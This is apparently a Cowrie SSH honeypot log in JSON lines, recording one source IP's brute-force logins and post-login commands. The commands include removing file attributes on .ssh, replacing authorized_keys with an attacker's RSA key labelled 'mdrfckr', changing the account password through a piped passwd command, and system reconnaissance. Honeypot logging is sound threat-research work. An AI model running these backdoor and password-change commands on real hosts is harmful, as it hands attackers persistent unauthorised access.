{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:39:49.287846Z","src_ip":"209.99.190.113","session":"f0d817341488","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:39:49.290572Z","src_ip":"209.99.190.113","session":"f0d817341488","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:39:49.294156Z","src_ip":"209.99.190.113","session":"f0d817341488","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":92,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:39:49.493392Z","src_ip":"209.99.190.113","session":"f0d817341488","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:39:49.642515Z","src_ip":"209.99.190.113","session":"f0d817341488","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:39:49.645387Z","src_ip":"209.99.190.113","session":"f0d817341488","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:39:49.750049Z","src_ip":"209.99.190.113","session":"f0d817341488","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:39:49.753087Z","src_ip":"209.99.190.113","session":"f0d817341488","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.190.113","src_port":38136,"dst_ip":"10.17.0.5","dst_port":22,"session":"11ce25b5079c","protocol":"ssh","message":"New connection: 209.99.190.113:38136 (10.17.0.5:22) [session: 11ce25b5079c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:39:49.844882Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:39:49.849198Z","src_ip":"209.99.190.113","session":"11ce25b5079c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:39:49.946371Z","src_ip":"209.99.190.113","session":"11ce25b5079c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:39:50.371110Z","src_ip":"209.99.190.113","session":"11ce25b5079c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:39:51.471302Z","src_ip":"209.99.190.113","session":"11ce25b5079c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.190.113","src_port":47886,"dst_ip":"10.17.0.5","dst_port":22,"session":"e39cd3934d95","protocol":"ssh","message":"New connection: 209.99.190.113:47886 (10.17.0.5:22) [session: e39cd3934d95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:39:51.572418Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:39:51.576414Z","src_ip":"209.99.190.113","session":"e39cd3934d95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:39:51.679157Z","src_ip":"209.99.190.113","session":"e39cd3934d95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:39:52.111961Z","src_ip":"209.99.190.113","session":"e39cd3934d95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:39:53.213716Z","src_ip":"209.99.190.113","session":"e39cd3934d95","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:39:53.351614Z","src_ip":"209.99.190.113","session":"f0d817341488","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:39:53.354195Z","src_ip":"209.99.190.113","session":"f0d817341488","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:39:53.553668Z","src_ip":"209.99.190.113","session":"f0d817341488","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:39:53.701348Z","src_ip":"209.99.190.113","session":"f0d817341488","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"ADMIN@123\\nY3ew7axVmh9H\\nY3ew7axVmh9H\"|passwd|bash","message":"CMD: echo -e \"ADMIN@123\\nY3ew7axVmh9H\\nY3ew7axVmh9H\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:39:53.703883Z","src_ip":"209.99.190.113","session":"f0d817341488","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:39:53.705825Z","src_ip":"209.99.190.113","session":"f0d817341488","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:39:53.707128Z","src_ip":"209.99.190.113","session":"f0d817341488","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/1580e65ba0a8ca3c462e0109273ed6ad38e315490c12935324ae068841dffc05","size":32,"shasum":"1580e65ba0a8ca3c462e0109273ed6ad38e315490c12935324ae068841dffc05","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/1580e65ba0a8ca3c462e0109273ed6ad38e315490c12935324ae068841dffc05 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:39:53.905643Z","src_ip":"209.99.190.113","session":"f0d817341488","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:39:54.053977Z","src_ip":"209.99.190.113","session":"f0d817341488","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"ADMIN@123\\nY3ew7axVmh9H\\nY3ew7axVmh9H\\n\"|passwd","message":"CMD: echo \"ADMIN@123\\nY3ew7axVmh9H\\nY3ew7axVmh9H\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:39:54.057135Z","src_ip":"209.99.190.113","session":"f0d817341488","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/2ecd582ca60cc18d5297179e23ec2ec96a00f99c577bd12c9f65511ff824c1c7","size":25,"shasum":"2ecd582ca60cc18d5297179e23ec2ec96a00f99c577bd12c9f65511ff824c1c7","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/2ecd582ca60cc18d5297179e23ec2ec96a00f99c577bd12c9f65511ff824c1c7 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:39:54.256843Z","src_ip":"209.99.190.113","session":"f0d817341488","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:39:54.398498Z","src_ip":"209.99.190.113","session":"f0d817341488","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:39:54.400882Z","src_ip":"209.99.190.113","session":"f0d817341488","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:39:54.599509Z","src_ip":"209.99.190.113","session":"f0d817341488","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:39:54.740970Z","src_ip":"209.99.190.113","session":"f0d817341488","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:39:54.743458Z","src_ip":"209.99.190.113","session":"f0d817341488","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":26,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:39:54.945104Z","src_ip":"209.99.190.113","session":"f0d817341488","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:39:55.091074Z","src_ip":"209.99.190.113","session":"f0d817341488","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:39:55.094174Z","src_ip":"209.99.190.113","session":"f0d817341488","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:39:55.096889Z","src_ip":"209.99.190.113","session":"f0d817341488","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":65,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:39:55.297993Z","src_ip":"209.99.190.113","session":"f0d817341488","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:39:55.461542Z","src_ip":"209.99.190.113","session":"f0d817341488","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:39:55.464040Z","src_ip":"209.99.190.113","session":"f0d817341488","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:39:55.662385Z","src_ip":"209.99.190.113","session":"f0d817341488","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:39:56.159170Z","src_ip":"209.99.190.113","session":"f0d817341488","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:39:56.161824Z","src_ip":"209.99.190.113","session":"f0d817341488","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":205,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:39:56.360984Z","src_ip":"209.99.190.113","session":"f0d817341488","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:39:56.514522Z","src_ip":"209.99.190.113","session":"f0d817341488","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:39:56.517235Z","src_ip":"209.99.190.113","session":"f0d817341488","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:39:56.715967Z","src_ip":"209.99.190.113","session":"f0d817341488","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:39:56.860207Z","src_ip":"209.99.190.113","session":"f0d817341488","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:39:56.862896Z","src_ip":"209.99.190.113","session":"f0d817341488","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:39:57.062391Z","src_ip":"209.99.190.113","session":"f0d817341488","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:39:57.216849Z","src_ip":"209.99.190.113","session":"f0d817341488","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:39:57.219410Z","src_ip":"209.99.190.113","session":"f0d817341488","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:39:57.419433Z","src_ip":"209.99.190.113","session":"f0d817341488","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:39:57.570371Z","src_ip":"209.99.190.113","session":"f0d817341488","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:39:57.573256Z","src_ip":"209.99.190.113","session":"f0d817341488","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:39:57.774027Z","src_ip":"209.99.190.113","session":"f0d817341488","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:39:57.918154Z","src_ip":"209.99.190.113","session":"f0d817341488","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:39:57.920820Z","src_ip":"209.99.190.113","session":"f0d817341488","protocol":"ssh"}
